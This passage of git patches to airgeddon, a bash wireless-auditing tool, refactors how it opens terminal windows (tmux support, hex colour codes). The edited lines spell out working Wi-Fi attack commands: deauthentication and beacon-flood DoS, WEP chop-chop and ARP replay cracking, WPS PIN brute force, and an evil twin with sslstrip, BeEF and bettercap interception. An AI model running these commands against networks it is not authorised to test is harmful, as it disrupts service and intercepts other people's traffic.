${g4_middleright_window} -T \"Sslstrip\"" "sslstrip -w \"${tmpdir}${sslstrip_file}\" -p -l ${sslstrip_port} -f -k" "Sslstrip" + #xterm -hold -bg black -fg blue -geometry "${g4_middleright_window}" -T "Sslstrip" -e "sslstrip -w \"${tmpdir}${sslstrip_file}\" -p -l ${sslstrip_port} -f -k" > /dev/null 2>&1 & + if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "xterm" ]; then + et_processes+=($!) + else + local sslstrip_pid + local sslstrip_cmd_line + sslstrip_cmd_line=$(echo "sslstrip -w \"${tmpdir}${sslstrip_file}\" -p -l ${sslstrip_port} -f -k" | tr -d '"') + while [ -z "${sslstrip_pid}" ]; do + sslstrip_pid=$(ps --no-headers aux | grep "$sslstrip_cmd_line" | grep -v "grep $sslstrip_cmd_line" | awk '{print $2}') + done + et_processes+=("${sslstrip_pid}") + fi } #Launch ettercap sniffer From 973e6e7603424fb4d2c2b8d6bf55341dade82b15 Mon Sep 17 00:00:00 2001 From: xpz3 Date: Mon, 25 Mar 2019 09:04:59 +0530 Subject: [PATCH 020/148] Evil Twin AP Attack With Sniffing And Bettercap-SSLStrip2/BeEF - Completed unified xterm/tmux function calls --- airgeddon.sh | 43 ++++++++++++++++++++++++++++++++++++++----- 1 file changed, 38 insertions(+), 5 deletions(-) diff --git a/airgeddon.sh b/airgeddon.sh index 166527e37..a7bf0fb82 100755 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -9565,6 +9565,8 @@ function launch_beef() { debug_print + local beef_pid + local beef_cmd_line kill_beef if [ "${beef_found}" -eq 0 ]; then @@ -9575,11 +9577,31 @@ function launch_beef() { if [ "${beef_found}" -eq 1 ]; then rm -rf "${beef_path}${beef_file}" > /dev/null 2>&1 cp "${tmpdir}${beef_file}" "${beef_path}" > /dev/null 2>&1 - xterm -hold -bg black -fg green -geometry "${g4_middleright_window}" -T "BeEF" -e "cd ${beef_path} && ./beef -c \"${beef_file}\"" > /dev/null 2>&1 & + manage_output "-hold -bg black -fg green -geometry ${g4_middleright_window} -T \"BeEF\"" "cd ${beef_path} && ./beef -c \"${beef_file}\"" "BeEF" + #xterm -hold -bg black -fg green -geometry "${g4_middleright_window}" -T "BeEF" -e "cd ${beef_path} && ./beef -c \"${beef_file}\"" > /dev/null 2>&1 & + if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then + beef_cmd_line=$(echo "cd ${beef_path} && ./beef -c \"${beef_file}\"" | tr -d '"') + while [ -z "${beef_pid}" ]; do + beef_pid=$(ps --no-headers aux | grep "$beef_cmd_line" | grep -v "grep $beef_cmd_line" | awk '{print $2}') + done + et_processes+=("${beef_pid}") + fi + else - xterm -hold -bg black -fg green -geometry "${g4_middleright_window}" -T "BeEF" -e "${optional_tools_names[19]}" > /dev/null 2>&1 & + manage_output "-hold -bg black -fg green -geometry ${g4_middleright_window} -T \"BeEF\"" "${optional_tools_names[19]}" "BeEF" + #xterm -hold -bg black -fg green -geometry "${g4_middleright_window}" -T "BeEF" -e "${optional_tools_names[19]}" > /dev/null 2>&1 & + if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then + beef_cmd_line=$(echo "${optional_tools_names[19]}" | tr -d '"') + while [ -z "${beef_pid}" ]; do + beef_pid=$(ps --no-headers aux | grep "$beef_cmd_line" | grep -v "grep $beef_cmd_line" | awk '{print $2}') + done + et_processes+=("${beef_pid}") + fi + + fi + if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "xterm" ]; then + et_processes+=($!) fi - et_processes+=($!) sleep 2 } @@ -9601,8 +9623,19 @@ function launch_bettercap_sniffing() { bettercap_cmd+=" -O \"${tmp_bettercaplog}\"" fi - xterm -hold -bg black -fg yellow -geometry "${sniffing_scr_window_position}" -T "Sniffer+Bettercap-Sslstrip2/BeEF" -e "${bettercap_cmd}" > /dev/null 2>&1 & - et_processes+=($!) + manage_output "-hold -bg black -fg yellow -geometry ${sniffing_scr_window_position} -T \"Sniffer+Bettercap-Sslstrip2/BeEF\"" "${bettercap_cmd}" "Sniffer+Bettercap-Sslstrip2/BeEF" + #xterm -hold -bg black -fg yellow -geometry "${sniffing_scr_window_position}" -T "Sniffer+Bettercap-Sslstrip2/BeEF" -e "${bettercap_cmd}" > /dev/null 2>&1 & + if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then + local sslstrip2_pid + local sslstrip2_cmd_line + sslstrip2_cmd_line=$(echo "${bettercap_cmd}" | tr -d '"') + while [ -z "${sslstrip2_pid}" ]; do + sslstrip2_pid=$(ps --no-headers aux | grep "$sslstrip2_cmd_line" | grep -v "grep $sslstrip2_cmd_line" | awk '{print $2}') + done + et_processes+=("${sslstrip2_pid}") + else + et_processes+=($!) + fi } #Parse ettercap log searching for captured passwords From 15e565b22372612821204804ef6cff2c5e9f6822 Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Mon, 25 Mar 2019 23:20:19 +0100 Subject: [PATCH 021/148] Tmux server name detection improved using regex for retro compatibility. Some empty lines changed. --- airgeddon.sh | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/airgeddon.sh b/airgeddon.sh index a7bf0fb82..dfdf1e198 100755 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -9586,7 +9586,6 @@ function launch_beef() { done et_processes+=("${beef_pid}") fi - else manage_output "-hold -bg black -fg green -geometry ${g4_middleright_window} -T \"BeEF\"" "${optional_tools_names[19]}" "BeEF" #xterm -hold -bg black -fg green -geometry "${g4_middleright_window}" -T "BeEF" -e "${optional_tools_names[19]}" > /dev/null 2>&1 & @@ -9597,8 +9596,8 @@ function launch_beef() { done et_processes+=("${beef_pid}") fi - fi + if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "xterm" ]; then et_processes+=($!) fi @@ -13300,7 +13299,7 @@ function check_inside_tmux() { local parent_pid parent_pid=$(ps -o ppid= ${PPID} | tr -d ' ') parent_window="$(ps --no-headers -p "${parent_pid}" -o comm=)" - if [ "${parent_window}" = "tmux: server" ]; then + if [[ "${parent_window}" =~ tmux ]]; then return 0 fi return 1 From 67e0f22656a479774cc39b10623621f973183ba0 Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Tue, 26 Mar 2019 14:47:21 +0100 Subject: [PATCH 022/148] Xterm color nomenclature modified in order to use hex rgb codes which are compatible to xterm and tmux --- airgeddon.sh | 110 +++++++++++++++++++++++++-------------------------- 1 file changed, 55 insertions(+), 55 deletions(-) diff --git a/airgeddon.sh b/airgeddon.sh index dfdf1e198..99d202a36 100755 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -2,7 +2,7 @@ #Title........: airgeddon.sh #Description..: This is a multi-use bash script for Linux systems to audit wireless networks. #Author.......: v1s1t0r -#Date.........: 20190325 +#Date.........: 20190326 #Version......: 9.11 #Usage........: bash airgeddon.sh #Bash Version.: 4.2 or later @@ -2915,7 +2915,7 @@ function set_wep_key_script() { EOF cat >&8 <<-'EOF' - xterm -hold -bg black -fg white -geometry "${window_position}" -T "WEP Key Decrypted" -e "eval \"${wep_key_cmd}\"" > /dev/null 2>&1 & + xterm -hold -bg "#000000" -fg "#FFFFFF" -geometry "${window_position}" -T "WEP Key Decrypted" -e "eval \"${wep_key_cmd}\"" > /dev/null 2>&1 & wep_key_window_pid=$! { echo -e "${wep_key_window_pid}" @@ -2967,7 +2967,7 @@ function set_wep_script() { EOF cat >&6 <<-EOF - xterm -bg black -fg brown -geometry "${g5_left7}" -T "Chop-Chop Attack (1/3)" -e "yes | aireplay-ng -4 -b ${bssid} -h ${current_mac} ${interface} | tee -a \"${tmpdir}${wepdir}chopchop_output.txt\"" > /dev/null 2>&1 & + xterm -bg "#000000" -fg "#8B4513" -geometry "${g5_left7}" -T "Chop-Chop Attack (1/3)" -e "yes | aireplay-ng -4 -b ${bssid} -h ${current_mac} ${interface} | tee -a \"${tmpdir}${wepdir}chopchop_output.txt\"" > /dev/null 2>&1 & EOF cat >&6 <<-'EOF' @@ -2980,7 +2980,7 @@ function set_wep_script() { EOF cat >&6 <<-EOF - xterm -bg black -fg brown -geometry "${g5_left7}" -T "Chop-Chop Attack (2/3)" -e "packetforge-ng -0 -a ${bssid} -h ${current_mac} -k 255.255.255.255 -l 255.255.255.255 -y \"${tmpdir}${wepdir}replay_dec-\"*.xor -w \"${tmpdir}${wepdir}chopchop.cap\"" > /dev/null 2>&1 & + xterm -bg "#000000" -fg "#8B4513" -geometry "${g5_left7}" -T "Chop-Chop Attack (2/3)" -e "packetforge-ng -0 -a ${bssid} -h ${current_mac} -k 255.255.255.255 -l 255.255.255.255 -y \"${tmpdir}${wepdir}replay_dec-\"*.xor -w \"${tmpdir}${wepdir}chopchop.cap\"" > /dev/null 2>&1 & EOF cat >&6 <<-'EOF' @@ -2994,7 +2994,7 @@ function set_wep_script() { EOF cat >&6 <<-EOF - xterm -hold -bg black -fg brown -geometry "${g5_left7}" -T "Chop-Chop Attack (3/3)" -e "yes | aireplay-ng -2 -F -r \"${tmpdir}${wepdir}chopchop.cap\" ${interface}" > /dev/null 2>&1 & + xterm -hold -bg "#000000" -fg "#8B4513" -geometry "${g5_left7}" -T "Chop-Chop Attack (3/3)" -e "yes | aireplay-ng -2 -F -r \"${tmpdir}${wepdir}chopchop.cap\" ${interface}" > /dev/null 2>&1 & EOF cat >&6 <<-'EOF' @@ -3030,7 +3030,7 @@ function set_wep_script() { EOF cat >&6 <<-EOF - xterm -bg black -fg blue -geometry "${g5_left6}" -T "Fragmentation Attack (1/3)" -e "yes | aireplay-ng -5 -b ${bssid} -h ${current_mac} ${interface} | tee -a \"${tmpdir}${wepdir}fragmentation_output.txt\"" > /dev/null 2>&1 & + xterm -bg "#000000" -fg "#0000FF" -geometry "${g5_left6}" -T "Fragmentation Attack (1/3)" -e "yes | aireplay-ng -5 -b ${bssid} -h ${current_mac} ${interface} | tee -a \"${tmpdir}${wepdir}fragmentation_output.txt\"" > /dev/null 2>&1 & EOF cat >&6 <<-'EOF' @@ -3043,7 +3043,7 @@ function set_wep_script() { EOF cat >&6 <<-EOF - xterm -bg black -fg blue -geometry "${g5_left6}" -T "Fragmentation Attack (2/3)" -e "packetforge-ng -0 -a ${bssid} -h ${current_mac} -k 255.255.255.255 -l 255.255.255.255 -y \"${tmpdir}${wepdir}fragment-\"*.xor -w \"${tmpdir}${wepdir}fragmentation.cap\"" > /dev/null 2>&1 & + xterm -bg "#000000" -fg "#0000FF" -geometry "${g5_left6}" -T "Fragmentation Attack (2/3)" -e "packetforge-ng -0 -a ${bssid} -h ${current_mac} -k 255.255.255.255 -l 255.255.255.255 -y \"${tmpdir}${wepdir}fragment-\"*.xor -w \"${tmpdir}${wepdir}fragmentation.cap\"" > /dev/null 2>&1 & EOF cat >&6 <<-'EOF' @@ -3057,7 +3057,7 @@ function set_wep_script() { EOF cat >&6 <<-EOF - xterm -hold -bg black -fg blue -geometry "${g5_left6}" -T "Fragmentation Attack (3/3)" -e "yes | aireplay-ng -2 -F -r \"${tmpdir}${wepdir}fragmentation.cap\" ${interface}" > /dev/null 2>&1 & + xterm -hold -bg "#000000" -fg "#0000FF" -geometry "${g5_left6}" -T "Fragmentation Attack (3/3)" -e "yes | aireplay-ng -2 -F -r \"${tmpdir}${wepdir}fragmentation.cap\" ${interface}" > /dev/null 2>&1 & EOF cat >&6 <<-'EOF' @@ -3097,7 +3097,7 @@ function set_wep_script() { } wep_script_processes=() - xterm -bg black -fg white -geometry "${g5_topright_window}" -T "Capturing WEP Data" -e "airodump-ng -d ${bssid} -c ${channel} --encrypt WEP -w \"${tmpdir}${wep_data}\" ${interface}" > /dev/null 2>&1 & + xterm -bg "#000000" -fg "#FFFFFF" -geometry "${g5_topright_window}" -T "Capturing WEP Data" -e "airodump-ng -d ${bssid} -c ${channel} --encrypt WEP -w \"${tmpdir}${wep_data}\" ${interface}" > /dev/null 2>&1 & EOF cat >&6 <<-'EOF' @@ -3126,7 +3126,7 @@ function set_wep_script() { EOF cat >&6 <<-EOF - xterm -bg black -fg green -geometry "${g5_left1}" -T "Fake Auth" -e "aireplay-ng -1 3 -o 1 -q 10 -e \"${essid}\" -a ${bssid} -h ${current_mac} ${interface}" > /dev/null 2>&1 & + xterm -bg "#000000" -fg "#00FF00" -geometry "${g5_left1}" -T "Fake Auth" -e "aireplay-ng -1 3 -o 1 -q 10 -e \"${essid}\" -a ${bssid} -h ${current_mac} ${interface}" > /dev/null 2>&1 & EOF cat >&6 <<-'EOF' @@ -3141,7 +3141,7 @@ function set_wep_script() { EOF cat >&6 <<-EOF - xterm -hold -bg black -fg yellow -geometry "${g5_left2}" -T "Arp Broadcast Injection" -e "aireplay-ng -2 -p 0841 -F -c ${broadcast_mac} -b ${bssid} -h ${current_mac} ${interface}" > /dev/null 2>&1 & + xterm -hold -bg "#000000" -fg "#FFFF00" -geometry "${g5_left2}" -T "Arp Broadcast Injection" -e "aireplay-ng -2 -p 0841 -F -c ${broadcast_mac} -b ${bssid} -h ${current_mac} ${interface}" > /dev/null 2>&1 & EOF cat >&6 <<-'EOF' @@ -3149,7 +3149,7 @@ function set_wep_script() { EOF cat >&6 <<-EOF - xterm -hold -bg black -fg red -geometry "${g5_left3}" -T "Arp Request Replay" -e "aireplay-ng -3 -x 1024 -g 1000000 -b ${bssid} -h ${current_mac} -i ${interface} ${interface}" > /dev/null 2>&1 & + xterm -hold -bg "#000000" -fg "#FF0000" -geometry "${g5_left3}" -T "Arp Request Replay" -e "aireplay-ng -3 -x 1024 -g 1000000 -b ${bssid} -h ${current_mac} -i ${interface} ${interface}" > /dev/null 2>&1 & EOF cat >&6 <<-'EOF' @@ -3157,7 +3157,7 @@ function set_wep_script() { EOF cat >&6 <<-EOF - xterm -hold -bg black -fg pink -geometry "${g5_left4}" -T "Caffe Latte Attack" -e "aireplay-ng -6 -F -D -b ${bssid} -h ${current_mac} ${interface}" > /dev/null 2>&1 & + xterm -hold -bg "#000000" -fg "#FFC0CB" -geometry "${g5_left4}" -T "Caffe Latte Attack" -e "aireplay-ng -6 -F -D -b ${bssid} -h ${current_mac} ${interface}" > /dev/null 2>&1 & EOF cat >&6 <<-'EOF' @@ -3165,7 +3165,7 @@ function set_wep_script() { EOF cat >&6 <<-EOF - xterm -hold -bg black -fg grey -geometry "${g5_left5}" -T "Hirte Attack" -e "aireplay-ng -7 -F -D -b ${bssid} -h ${current_mac} ${interface}" > /dev/null 2>&1 & + xterm -hold -bg "#000000" -fg "#D3D3D3" -geometry "${g5_left5}" -T "Hirte Attack" -e "aireplay-ng -7 -F -D -b ${bssid} -h ${current_mac} ${interface}" > /dev/null 2>&1 & EOF cat >&6 <<-'EOF' @@ -3195,7 +3195,7 @@ function set_wep_script() { EOF cat >&6 <<-EOF - xterm -bg black -fg yellow -geometry "${g5_bottomright_window}" -T "Decrypting WEP Key" -e "aircrack-ng \"${tmpdir}${wep_data}\"*.cap -l \"${tmpdir}${wepdir}wepkey.txt\"" > /dev/null 2>&1 & + xterm -bg "#000000" -fg "#FFFF00" -geometry "${g5_bottomright_window}" -T "Decrypting WEP Key" -e "aircrack-ng \"${tmpdir}${wep_data}\"*.cap -l \"${tmpdir}${wepdir}wepkey.txt\"" > /dev/null 2>&1 & EOF cat >&6 <<-'EOF' @@ -3228,7 +3228,7 @@ function exec_wps_custom_pin_bully_attack() { language_strings "${language}" 33 "yellow" language_strings "${language}" 4 "read" recalculate_windows_sizes - xterm -hold -bg black -fg red -geometry "${g2_stdleft_window}" -T "WPS custom pin bully attack" -e "bash \"${tmpdir}${wps_attack_script_file}\"" > /dev/null 2>&1 + xterm -hold -bg "#000000" -fg "#FF0000" -geometry "${g2_stdleft_window}" -T "WPS custom pin bully attack" -e "bash \"${tmpdir}${wps_attack_script_file}\"" > /dev/null 2>&1 } #Execute wps custom pin reaver attack @@ -3245,7 +3245,7 @@ function exec_wps_custom_pin_reaver_attack() { language_strings "${language}" 33 "yellow" language_strings "${language}" 4 "read" recalculate_windows_sizes - xterm -hold -bg black -fg red -geometry "${g2_stdleft_window}" -T "WPS custom pin reaver attack" -e "bash \"${tmpdir}${wps_attack_script_file}\"" > /dev/null 2>&1 + xterm -hold -bg "#000000" -fg "#FF0000" -geometry "${g2_stdleft_window}" -T "WPS custom pin reaver attack" -e "bash \"${tmpdir}${wps_attack_script_file}\"" > /dev/null 2>&1 } #Execute bully pixie dust attack @@ -3262,7 +3262,7 @@ function exec_bully_pixiewps_attack() { language_strings "${language}" 33 "yellow" language_strings "${language}" 4 "read" recalculate_windows_sizes - xterm -hold -bg black -fg red -geometry "${g2_stdright_window}" -T "WPS bully pixie dust attack" -e "bash \"${tmpdir}${wps_attack_script_file}\"" > /dev/null 2>&1 + xterm -hold -bg "#000000" -fg "#FF0000" -geometry "${g2_stdright_window}" -T "WPS bully pixie dust attack" -e "bash \"${tmpdir}${wps_attack_script_file}\"" > /dev/null 2>&1 } #Execute reaver pixie dust attack @@ -3279,7 +3279,7 @@ function exec_reaver_pixiewps_attack() { language_strings "${language}" 33 "yellow" language_strings "${language}" 4 "read" recalculate_windows_sizes - xterm -hold -bg black -fg red -geometry "${g2_stdright_window}" -T "WPS reaver pixie dust attack" -e "bash \"${tmpdir}${wps_attack_script_file}\"" > /dev/null 2>&1 + xterm -hold -bg "#000000" -fg "#FF0000" -geometry "${g2_stdright_window}" -T "WPS reaver pixie dust attack" -e "bash \"${tmpdir}${wps_attack_script_file}\"" > /dev/null 2>&1 } #Execute wps bruteforce pin bully attack @@ -3296,7 +3296,7 @@ function exec_wps_bruteforce_pin_bully_attack() { language_strings "${language}" 33 "yellow" language_strings "${language}" 4 "read" recalculate_windows_sizes - xterm -hold -bg black -fg red -geometry "${g2_stdleft_window}" -T "WPS bruteforce pin bully attack" -e "bash \"${tmpdir}${wps_attack_script_file}\"" > /dev/null 2>&1 + xterm -hold -bg "#000000" -fg "#FF0000" -geometry "${g2_stdleft_window}" -T "WPS bruteforce pin bully attack" -e "bash \"${tmpdir}${wps_attack_script_file}\"" > /dev/null 2>&1 } #Execute wps bruteforce pin reaver attack @@ -3313,7 +3313,7 @@ function exec_wps_bruteforce_pin_reaver_attack() { language_strings "${language}" 33 "yellow" language_strings "${language}" 4 "read" recalculate_windows_sizes - xterm -hold -bg black -fg red -geometry "${g2_stdleft_window}" -T "WPS bruteforce pin reaver attack" -e "bash \"${tmpdir}${wps_attack_script_file}\"" > /dev/null 2>&1 + xterm -hold -bg "#000000" -fg "#FF0000" -geometry "${g2_stdleft_window}" -T "WPS bruteforce pin reaver attack" -e "bash \"${tmpdir}${wps_attack_script_file}\"" > /dev/null 2>&1 } #Execute wps pin database bully attack @@ -3326,7 +3326,7 @@ function exec_wps_pin_database_bully_attack() { set_wps_attack_script "bully" "pindb" recalculate_windows_sizes - xterm -hold -bg black -fg red -geometry "${g2_stdright_window}" -T "WPS bully known pins database based attack" -e "bash \"${tmpdir}${wps_attack_script_file}\"" > /dev/null 2>&1 + xterm -hold -bg "#000000" -fg "#FF0000" -geometry "${g2_stdright_window}" -T "WPS bully known pins database based attack" -e "bash \"${tmpdir}${wps_attack_script_file}\"" > /dev/null 2>&1 } #Execute wps pin database reaver attack @@ -3339,7 +3339,7 @@ function exec_wps_pin_database_reaver_attack() { set_wps_attack_script "reaver" "pindb" recalculate_windows_sizes - xterm -hold -bg black -fg red -geometry "${g2_stdright_window}" -T "WPS reaver known pins database based attack" -e "bash \"${tmpdir}${wps_attack_script_file}\"" > /dev/null 2>&1 + xterm -hold -bg "#000000" -fg "#FF0000" -geometry "${g2_stdright_window}" -T "WPS reaver known pins database based attack" -e "bash \"${tmpdir}${wps_attack_script_file}\"" > /dev/null 2>&1 } #Execute DoS pursuit mode attack @@ -3364,44 +3364,44 @@ function launch_dos_pursuit_mode_attack() { dos_delay=1 interface_pursuit_mode_scan="${interface}" interface_pursuit_mode_deauth="${interface}" - xterm +j -bg black -fg red -geometry "${g1_topleft_window}" -T "${1} (DoS Pursuit mode)" -e mdk4 "${interface_pursuit_mode_deauth}" d -b "${tmpdir}bl.txt" -c "${channel}" > /dev/null 2>&1 & + xterm +j -bg "#000000" -fg "#FF0000" -geometry "${g1_topleft_window}" -T "${1} (DoS Pursuit mode)" -e mdk4 "${interface_pursuit_mode_deauth}" d -b "${tmpdir}bl.txt" -c "${channel}" > /dev/null 2>&1 & ;; "aireplay deauth attack") ${airmon} start "${interface}" "${channel}" > /dev/null 2>&1 dos_delay=3 interface_pursuit_mode_scan="${interface}" interface_pursuit_mode_deauth="${interface}" - xterm +j -bg black -fg red -geometry "${g1_topleft_window}" -T "${1} (DoS Pursuit mode)" -e aireplay-ng --deauth 0 -a "${bssid}" --ignore-negative-one "${interface_pursuit_mode_deauth}" > /dev/null 2>&1 & + xterm +j -bg "#000000" -fg "#FF0000" -geometry "${g1_topleft_window}" -T "${1} (DoS Pursuit mode)" -e aireplay-ng --deauth 0 -a "${bssid}" --ignore-negative-one "${interface_pursuit_mode_deauth}" > /dev/null 2>&1 & ;; "wids / wips / wds confusion attack") dos_delay=10 interface_pursuit_mode_scan="${interface}" interface_pursuit_mode_deauth="${interface}" - xterm +j -bg black -fg red -geometry "${g1_topleft_window}" -T "${1} (DoS Pursuit mode)" -e mdk4 "${interface_pursuit_mode_deauth}" w -e "${essid}" -c "${channel}" > /dev/null 2>&1 & + xterm +j -bg "#000000" -fg "#FF0000" -geometry "${g1_topleft_window}" -T "${1} (DoS Pursuit mode)" -e mdk4 "${interface_pursuit_mode_deauth}" w -e "${essid}" -c "${channel}" > /dev/null 2>&1 & ;; "beacon flood attack") dos_delay=1 interface_pursuit_mode_scan="${interface}" interface_pursuit_mode_deauth="${interface}" - xterm +j -bg black -fg red -geometry "${g1_topleft_window}" -T "${1} (DoS Pursuit mode)" -e mdk4 "${interface_pursuit_mode_deauth}" b -n "${essid}" -c "${channel}" -s 1000 -h > /dev/null 2>&1 & + xterm +j -bg "#000000" -fg "#FF0000" -geometry "${g1_topleft_window}" -T "${1} (DoS Pursuit mode)" -e mdk4 "${interface_pursuit_mode_deauth}" b -n "${essid}" -c "${channel}" -s 1000 -h > /dev/null 2>&1 & ;; "auth dos attack") dos_delay=1 interface_pursuit_mode_scan="${interface}" interface_pursuit_mode_deauth="${interface}" - xterm +j -bg black -fg red -geometry "${g1_topleft_window}" -T "${1} (DoS Pursuit mode)" -e mdk4 "${interface_pursuit_mode_deauth}" a -a "${bssid}" -m -s 1024 > /dev/null 2>&1 & + xterm +j -bg "#000000" -fg "#FF0000" -geometry "${g1_topleft_window}" -T "${1} (DoS Pursuit mode)" -e mdk4 "${interface_pursuit_mode_deauth}" a -a "${bssid}" -m -s 1024 > /dev/null 2>&1 & ;; "michael shutdown attack") dos_delay=1 interface_pursuit_mode_scan="${interface}" interface_pursuit_mode_deauth="${interface}" - xterm +j -bg black -fg red -geometry "${g1_topleft_window}" -T "${1} (DoS Pursuit mode)" -e mdk4 "${interface_pursuit_mode_deauth}" m -t "${bssid}" -w 1 -n 1024 -s 1024 > /dev/null 2>&1 & + xterm +j -bg "#000000" -fg "#FF0000" -geometry "${g1_topleft_window}" -T "${1} (DoS Pursuit mode)" -e mdk4 "${interface_pursuit_mode_deauth}" m -t "${bssid}" -w 1 -n 1024 -s 1024 > /dev/null 2>&1 & ;; "Mdk4") dos_delay=1 interface_pursuit_mode_scan="${secondary_wifi_interface}" interface_pursuit_mode_deauth="${secondary_wifi_interface}" - manage_output "+j -bg black -fg red -geometry ${deauth_scr_window_position} -T \"Deauth (DoS Pursuit mode)\"" "mdk4 ${interface_pursuit_mode_deauth} d -b ${tmpdir}\"bl.txt\" -c ${channel}" "Deauth (DoS Pursuit mode)" + manage_output "+j -bg \"#000000\" -fg \"#FF0000\" -geometry ${deauth_scr_window_position} -T \"Deauth (DoS Pursuit mode)\"" "mdk4 ${interface_pursuit_mode_deauth} d -b ${tmpdir}\"bl.txt\" -c ${channel}" "Deauth (DoS Pursuit mode)" if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then dos_cmd_line=$(echo "mdk4 ${interface_pursuit_mode_deauth} d -b ${tmpdir}\"bl.txt\" -c ${channel}" | tr -d '"') while [ -z "${dos_pursuit_mode_attack_pid}" ]; do @@ -3415,7 +3415,7 @@ function launch_dos_pursuit_mode_attack() { interface_pursuit_mode_deauth="${secondary_wifi_interface}" iwconfig "${interface_pursuit_mode_deauth}" channel "${channel}" > /dev/null 2>&1 dos_delay=3 - manage_output "+j -bg black -fg red -geometry ${deauth_scr_window_position} -T \"Deauth (DoS Pursuit mode)\"" "aireplay-ng --deauth 0 -a ${bssid} --ignore-negative-one ${interface_pursuit_mode_deauth}" "Deauth (DoS Pursuit mode)" + manage_output "+j -bg \"#000000\" -fg \"#FF0000\" -geometry ${deauth_scr_window_position} -T \"Deauth (DoS Pursuit mode)\"" "aireplay-ng --deauth 0 -a ${bssid} --ignore-negative-one ${interface_pursuit_mode_deauth}" "Deauth (DoS Pursuit mode)" if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then dos_cmd_line=$(echo "aireplay-ng --deauth 0 -a ${bssid} --ignore-negative-one ${interface_pursuit_mode_deauth}" | tr -d '"') while [ -z "${dos_pursuit_mode_attack_pid}" ]; do @@ -3428,7 +3428,7 @@ function launch_dos_pursuit_mode_attack() { dos_delay=10 interface_pursuit_mode_scan="${secondary_wifi_interface}" interface_pursuit_mode_deauth="${secondary_wifi_interface}" - manage_output "+j -bg black -fg red -geometry ${deauth_scr_window_position} -T \"Deauth (DoS Pursuit mode)\"" "mdk4 ${interface_pursuit_mode_deauth} w -e ${essid} -c ${channel}" "Deauth (DoS Pursuit mode)" + manage_output "+j -bg \"#000000\" -fg \"#FF0000\" -geometry ${deauth_scr_window_position} -T \"Deauth (DoS Pursuit mode)\"" "mdk4 ${interface_pursuit_mode_deauth} w -e ${essid} -c ${channel}" "Deauth (DoS Pursuit mode)" if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then dos_cmd_line=$(echo "mdk4 ${interface_pursuit_mode_deauth} w -e ${essid} -c ${channel}" | tr -d '"') while [ -z "${dos_pursuit_mode_attack_pid}" ]; do @@ -3555,7 +3555,7 @@ function exec_mdk4deauth() { language_strings "${language}" 33 "yellow" language_strings "${language}" 4 "read" recalculate_windows_sizes - xterm +j -bg black -fg red -geometry "${g1_topleft_window}" -T "mdk4 amok attack" -e mdk4 "${interface}" d -b "${tmpdir}bl.txt" -c "${channel}" > /dev/null 2>&1 + xterm +j -bg "#000000" -fg "#FF0000" -geometry "${g1_topleft_window}" -T "mdk4 amok attack" -e mdk4 "${interface}" d -b "${tmpdir}bl.txt" -c "${channel}" > /dev/null 2>&1 fi } @@ -3584,7 +3584,7 @@ function exec_aireplaydeauth() { language_strings "${language}" 33 "yellow" language_strings "${language}" 4 "read" recalculate_windows_sizes - xterm +j -bg black -fg red -geometry "${g1_topleft_window}" -T "aireplay deauth attack" -e aireplay-ng --deauth 0 -a "${bssid}" --ignore-negative-one "${interface}" > /dev/null 2>&1 + xterm +j -bg "#000000" -fg "#FF0000" -geometry "${g1_topleft_window}" -T "aireplay deauth attack" -e aireplay-ng --deauth 0 -a "${bssid}" --ignore-negative-one "${interface}" > /dev/null 2>&1 fi } @@ -3611,7 +3611,7 @@ function exec_wdsconfusion() { language_strings "${language}" 33 "yellow" language_strings "${language}" 4 "read" recalculate_windows_sizes - xterm +j -bg black -fg red -geometry "${g1_topleft_window}" -T "wids / wips / wds confusion attack" -e mdk4 "${interface}" w -e "${essid}" -c "${channel}" > /dev/null 2>&1 + xterm +j -bg "#000000" -fg "#FF0000" -geometry "${g1_topleft_window}" -T "wids / wips / wds confusion attack" -e mdk4 "${interface}" w -e "${essid}" -c "${channel}" > /dev/null 2>&1 fi } @@ -7712,7 +7712,7 @@ function launch_fake_ap() { ;; esac fi - manage_output "-hold -bg black -fg green -geometry ${hostapd_scr_window_position} -T \"AP\"" "${command}${log_command}" "AP" + manage_output "-hold -bg \"#000000\" -fg \"#00FF00\" -geometry ${hostapd_scr_window_position} -T \"AP\"" "${command}${log_command}" "AP" #xterm -hold -bg black -fg green -geometry "${hostapd_scr_window_position}" -T "AP" -e "${command}${log_command}" > /dev/null 2>&1 & if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "xterm" ]; then et_processes+=($!) @@ -7954,7 +7954,7 @@ function launch_dhcp_server() { dchcpd_scr_window_position=${g4_middleleft_window} ;; esac - manage_output "-hold -bg black -fg pink -geometry ${dchcpd_scr_window_position} -T \"DHCP\"" "dhcpd -d -cf \"${dhcp_path}\" ${interface} 2>&1 | tee -a ${tmpdir}clts.txt 2>&1" "DHCP" + manage_output "-hold -bg \"#000000\" -fg \"#FF69B4\" -geometry ${dchcpd_scr_window_position} -T \"DHCP\"" "dhcpd -d -cf \"${dhcp_path}\" ${interface} 2>&1 | tee -a ${tmpdir}clts.txt 2>&1" "DHCP" #xterm -hold -bg black -fg pink -geometry "${dchcpd_scr_window_position}" -T "DHCP" -e "dhcpd -d -cf \"${dhcp_path}\" ${interface} 2>&1 | tee -a ${tmpdir}/clts.txt" > /dev/null 2>&1 & if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "xterm" ]; then et_processes+=($!) @@ -8016,7 +8016,7 @@ function exec_et_deauth() { launch_dos_pursuit_mode_attack "${et_dos_attack}" "first_time" pid_control_pursuit_mode "${et_dos_attack}" "evil_twin" & else - manage_output "-hold -bg black -fg red -geometry ${deauth_scr_window_position} -T \"Deauth\"" "${deauth_et_cmd}" "Deauth" + manage_output "-hold -bg \"#000000\" -fg \"#FF0000\" -geometry ${deauth_scr_window_position} -T \"Deauth\"" "${deauth_et_cmd}" 